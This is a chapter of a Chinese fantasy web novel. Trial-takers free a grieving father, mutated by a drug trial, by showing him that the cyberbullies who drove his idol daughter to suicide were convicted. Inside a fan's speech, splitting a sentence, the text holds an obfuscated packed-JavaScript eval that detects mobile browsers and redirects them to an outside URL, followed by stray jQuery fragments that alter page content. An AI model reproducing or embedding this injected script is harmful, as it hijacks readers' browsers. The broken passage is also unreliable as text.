十几条手臂一起收紧。
鹤爻被他掐住脖子,整个人被从地上拎起来,往后一甩。她的后背撞上水缸,玻璃震得嗡嗡响。
没等她喘过气,老李头已经扑上来,扭曲的身体压在她身上。几十张嘴同时张开,口水从每一张嘴里流出来,滴在她衣服上,黏腻腥臭。
鹤爻的手已经按在刀柄上,刀拔出了一半,又咬牙按了回去。
“砰!砰!砰!”
正僵持着,那口水缸里忽然传来剧烈的拍打声,水花四溅。
鹤爻侧头看到缸中那团巨大的水母躯体开始疯狂挣扎,头一下又一下的撞向缸壁,盖子颤动。
身上的力道骤离,几十条钳制自己的手臂哗啦啦地迅速缩回老头背后。
老李头脸上的疯狂不再,只有关切,跌跌撞撞扑向水缸。
“女儿?你醒啦?是不是饿了?爸爸给你喂药,马上,马上就好……”
老李头熟练的抓起药盒,掰出一颗卵状药物,刺破后,放进水缸里。
趁这间隙,鹤爻按住隐藏在衣领下的微型收听器,声音压得极低:“你好了没有?”
“来了来了!”
几乎同时,这声音既从耳机里传来,也从外面破败的堂屋响起。
外头一阵翻箱倒柜的嘈杂,然后是什么东西被推进去的,“咔哒”一声。
老旧的电视机屏幕亮起雪花,随即,一个稚嫩、清晰、充满骄傲的童音响彻了整个昏暗的空间:
“爸爸,妈妈!我获得金奖啦!”
老李头的手指微微一顿。
“今天比赛,评委老师说我跳得最好!妈,你给我收好,以后我要裱起来!”
画外传来妈妈的笑声:“行行行,给你收着,快别抱着了,都是汗。”
“我不,我再抱会儿。”
画外传来老李头宠溺的声音:“好好好,孩子想抱就让她抱,我的乖宝开心就好!”
“来,对着镜头,笑一个?”
老李头所有动作瞬间僵住,那颗卵状药物从指间滑落,掉在地上,骨碌碌滚到墙角。
然后,他极其缓慢地转过身,拖着沉重的双腿,一步一步,挪向堂屋门口,脸上混杂着茫然和恍惚。
程玉宁等人见他出来,吓得差点跳起来,但她立刻想起了女主的嘱咐——
“去刚刚那家店,找李月的全部网络痕迹,刻成光盘,动作快。”
程玉宁一开始并不知道鹤爻为什么要这么做,但是此刻,她有些明白了。
她要唤醒他?
画面不稳,摇晃着,带着年代感的背景杂音:
“女儿真棒……”
“真为我们争光……”
“今天是小月儿的生日呢,你想要什么礼物?”
“我的小月儿长大了,要当大明星,哈哈哈,行行行,爸妈到时候做你的第一个粉丝!”
“我叫李月,很荣幸能在成团夜作为代表发言,在这里,我首先要感谢我的父母。”
“如果没有他们的支持和鼓励,我走不到这一步,我爸爸很辛苦,他是一名光荣的环卫工人……”
……
老李头蹲下身体,指尖轻轻拂过电视里不断循环播放的女儿的面容。
那些多余的手臂慢慢收紧,把电视机整个环抱住。细细长长的,像一堆柔软的触须,把那个冰冷的机器和那个佝偻的老人一起裹在中间。
“我全想起来了。”
“你们是试炼者。”
“这里,不过只是我的记忆对吗?”
“可是,你们为什么要让我想起这些呢?想起这些痛苦不堪的回忆。”
此刻的老李头,不再是怪物,只是个再也见不到女儿的父亲。
过了很久,那些多余的手臂,一条一条,软软地垂下来,他浑身发着抖,慢慢捂住了脸。
“小月儿因为网上的造谣跳了楼,我的妻子当场死亡,但女儿的脑细胞没有完全死亡,治疗需要昂贵的费用,我付不起。”
“好在蓝天生物有一项药物试验,他们说可以为我女儿免费测试,代价是,我也需要成为实验体……”
“药物很成功,我的女儿活下来了,虽然她成了水母……”
“可是活下来就好了……”
“我要复仇,我要报复!那些造谣害死我女儿的人凭什么什么事没有!就凭她们未成年?可是我的女儿死了!因为她们死了!”
“她们现在还逍遥法外,哈哈哈,不就是造谣吗?我也会!我也要让她们喜欢的人身败名裂!哈哈哈哈……”
“小月儿……”
“爸爸给你报仇了……”
这个可怜的父亲让程玉宁有些心痛,她想起鹤爻的另一项嘱托,立刻把从音像店借来的手机递出去:
“叔叔,你被守界人骗了。”
“小月儿的案子已经平反了!”
老李头的笑声戛然而止。
挥舞的手臂僵在半空,他愣愣地看着程玉宁,浑浊的眼睛里全是茫然。
“怎么可能……”
他的声音沙哑,带着一丝颤抖。
“明明……明明我每天都上网。”
“那些喷子还在骂她,那些造谣的视频还在传……”
鹤爻从门口走进来,脖子上还有被掐出来的红痕,在昏暗的灯光下格外明显,她没在意。
她走到老李头面前,蹲下来,和那个跪在地上被一堆多余手臂裹着的老人平视,此刻的老人像个无助的孩子。
“你每天上网看到的东西,是守界人让你看的。”
老李头抬起头。
“那些骂小月儿的话,那些还在传的视频,早就没了。”
“你在网上骂的那些人,也早就不是当年的人了。”
老李头愣着。
鹤爻看着他。
“你困在这里,困在自己的记忆里,困在那些永远刷不完的帖子里。”
“你以为你在报仇。”
“其实你只是在折磨自己。”
老李头的嘴唇动了动,想说什么,但没说出来。
“你和小月儿还有很多快乐回忆,不是吗,为什么只记住最后的那一段痛苦呢?”
鹤爻站起来。
“真相就在你手里。”
“你确定不想看看吗?”
老李头低头,盯着那块亮着的屏幕,屏幕上是一个网页。
标题很大:
【李月自杀事件迎来最终判决:造谣者获刑,未成年人保护法修正案通过】
老李头的瞳孔猛地收缩。
他往下划。
手指笨拙,划得很慢,那些多余的手臂也跟着他一起动,像是怕错过任何一个字。
【本报讯:曾引发全网关注的练习生李月遭网暴跳楼案今日宣判。】
【涉案5名主要造谣者因诽谤罪及侮辱罪、侵犯公民个人信息罪等多项罪名被判处有期徒刑。】
【其中3人虽为未成年人,但因情节特别恶劣,依法不适用减轻处罚。分别被判处一至三年有期徒刑。另有7名传播谣言的自媒体运营者因寻衅滋事罪获刑。】
老李头的手停住了。
他的嘴唇颤抖。
继续往下划。
【案件背后真相浮出水面:经查,该案系同公司另一女团成员与该公司恶意策划,雇佣水军对李月进行系统性造谣抹黑,意图在成团夜前夕打压竞争对手,并博得流量与关注。】
【涉案公司法人已被逮捕,该女团成员公开道歉后被捕,公司吊销执照并处罚款500万元。】
老李头的眼眶开始发红。
【据悉,李月生前粉丝后援会在案发后持续收集证据,并向法院不断提起诉讼。他们的坚持最终推动立法修改。】
【今日通过的未成年人保护法修正案明确规定,已满14周岁不满16周岁的未成年人实施诽谤等网络暴力行为,情节特别严重的,可依法追究刑事责任。】
【据悉,李月父亲原所在单位公开道歉,并自愿支付民事赔偿。】
手机屏幕上还有一张配图。
一群年轻的女孩子举着横幅,站在法院门口。横幅上写着:
【为李月讨回公道!】
【为受害者平反!】
她们聚集在法院门口,那些脸,有的在哭,有的在笑。
她们是李月的粉丝。
那些在网上疯狂咒骂时,出来帮李月说话,然后立刻被淹没的粉丝。
她们没有放弃。
她们一直记得李月。
虽然个人的力量微不足道,可是团结之后却可以振臂高呼。
下面还有一段视频。
点开。
画面里是一个年轻女孩,她对着镜头说话,声音带着哽咽:
“我是李月的粉丝,追了她三年。”
“那些谣言刚出来的时候,我们拼命解释,每条解释都发出去,每条都被骂声淹下去。”
“网上说我们是脑残粉,说我们被洗脑,说我们恶心。”
“后来李月走了。”
“我们发誓,要给她讨个说法。”
她顿了顿,深吸一口气。
“我们收集了八千多条证据,截图、录屏、链接、时间线……跑了无数趟法院,可因为证据不足等原因被拒绝过无数次。”
“可是我们没有放弃。”
她擦了擦眼泪,忽然笑了一下。
“今天,终于判了。”
“李月,你看到了吗?”
画面里的她笑着,可笑着笑着,她又哭了。
“可是……”
“我们并不开心。”
“因为代价太大了。”
“为什么要牺牲一个人,才能换来这些?”
她抬起头,看着镜头,泪眼婆娑。
“我们不希望再有下一个李月。”
“我们不希望再有谁,要等到死后才能等到公道。”
“我们不希望任何一个人,在生前被所有人抛弃,死后才被人喜欢、怀念。”
“那些正在被网暴的人,那些正在被造谣的人,那些正在深夜刷着评论睡不着觉的人。”
“你们没有错!”
“错的是那些躲在屏幕后面,不论青红皂白,用键盘杀人的人!”
“造谣者有罪,转发者同罪!”
她顿了顿。
“我们希望有一天,不需要任何人牺牲,我们也能走在前面一点。”
“对被侮辱的女性,对被造谣的普通人,对每一个正在经历网暴的人——”
“多一点理解,多一点信任,多一点耐心。”
“不要等到她死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285431|194206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,才说早知道。”
“不要等到她站不起来了,才说我相信你。”
她对着镜头,深深地弯下腰。
“我代表李月的粉丝。”
“求求你们了!”
手机屏幕开始花,有什么东西滴在上面,一滴又一滴。
老李头抬头。
“这是真的吗?”
“我的小月儿终于清清白白了吗?”
鹤爻点头,程玉宁眼眶也红了,其余两个少年擦了擦眼泪。
“叔叔,守界人让你看到的,是过去的回放。”刘思源说。
钱朔也跟着点头。
其实一开始,他们并不理解鹤爻的做法,只要通关不就可以了吗,为什么没有要做一些无谓的事情呢?
可是当知道李月的遭遇,他们无比庆幸自己这么做了。
他们得到了好感度,拍拍屁股去了下一关。
可是李月的父亲呢?
他将自己永远关在这个暗无天日的屋子里,带着对这个世界的厌恶和仇恨活着,活成了自己最痛恨的键盘侠。
永远走不出去阴霾,得不到解脱。
钱朔吸了吸鼻子说:“叔叔,那些造谣的帖子早就被清理了。”
“你每天上网看到的那些,只是你的记忆,是这座塔让你看见的幻觉。”
老李头,肩膀在抖。
很久很久。
他仰面哭泣。
“爸爸错了……”
“小月儿,爸爸错了……”
“原来是爸爸一直这样困着你……”
老李头重新走进那间朝阳的屋子,把那台连着水缸的翻译器电源重新插上。
水母醒过来,慢慢浮动,嘴巴一张一合。
屏幕跟着亮起,波形跳动。
一行行字慢慢浮现:
「爸」
「你终于醒了」
「我等了好久」
「爸,谢谢你」
「谢谢你想留住我」
「但我已经不在了」
「爸」
「让我走吧」
「我真的好累」
「我好痛苦啊」
淡蓝色的水母在流泪,营养液里,那些泪水飘散开来,变成一串一串细小的泡沫。
「让我走吧」
「让我去找妈妈吧」
「我想妈妈了」
老李头跪在那里,佝偻着,浑身都在抖。
鹤爻站在他身后,一言不发。
过了很久。
久到程玉宁以为时间都停了。
老李头慢慢抬起手,伸向那个水缸边的开关,那只手因为颤抖好几次都没摸准位置。
终于,指尖触到了。
他闭上眼睛。
按下去。
机器发出一声长长的“嘀——”。
波形变成一条直线。
那些字,最后跳出来一个:
「…………爸,再见」
「…………好好……活着…………」
水缸里的灯灭了。
那团半透明的身体,慢慢停止摆动,掉进了水缸底部。
“门,门开了!”
钱朔和刘思远率先冲了进去,程玉宁抓着鹤爻往前走,鹤爻回头看了一眼。
昏暗的屋子正在融化。
墙皮剥落,露出底下干净的米白色,窗帘化为光尘,窗外透进金灿灿的阳光,地上是是积木、布娃娃、童话书。
那个巨大的水缸消失了。
淡蓝色的营养液蒸发成雾气,雾气里,一个穿红色舞蹈裙子的小女孩从外面跑进来。
“爸爸,妈妈!我回来啦!”
小女孩八九岁,羊角辫,缺了一颗门牙,笑得眼睛弯弯的。
她扑进老李头怀里,搂着他的脖子撒娇。
“爸爸,我都闻到你身上的味道了,今天吃红烧肉对不对!”
“还有盐焗虾!”
女孩的妈妈从厨房里探出头来,“快洗手吃饭啦!”
门缝越来越窄。
最后一瞬,鹤爻看见,那间阴暗潮湿的屋子彻底变成了另一个样子。
干净,明亮,到处都是阳光。
一家三口围坐在餐桌旁,女人往碗里夹菜,小女孩吃得满脸都是油,老李头坐在旁边,看着她笑。
那是最平凡的一刻。
也是老李头最幸福的时刻。
他抛下了痛苦。
永远停留在那里。
门终于合上。
……………………
鹤爻再睁开眼,发现自己站在一条川流不息的马路上。
阳光刺眼。
车流声、喇叭声、路人的说话声混成一片,像一下子从梦里被拽回了人间。
她往前迈了一步。
人行道上,一个背着书包的小男孩正朝她走来。
书包很沉,压得他肩膀一边高一边低。校服皱巴巴的,裤腿有点长,拖在地上蹭脏了边。
他低着头,走得慢,像是走了一整天已经很累了。
走近了鹤爻才发现,那孩子鞋底下面,露出两片灰褐色的、薄薄的蹼。
那两片蹼在鞋底时隐时现,每一步踩下去,都像踩在泥里。
“这就是第三层的BOSS。”程玉宁告诉她。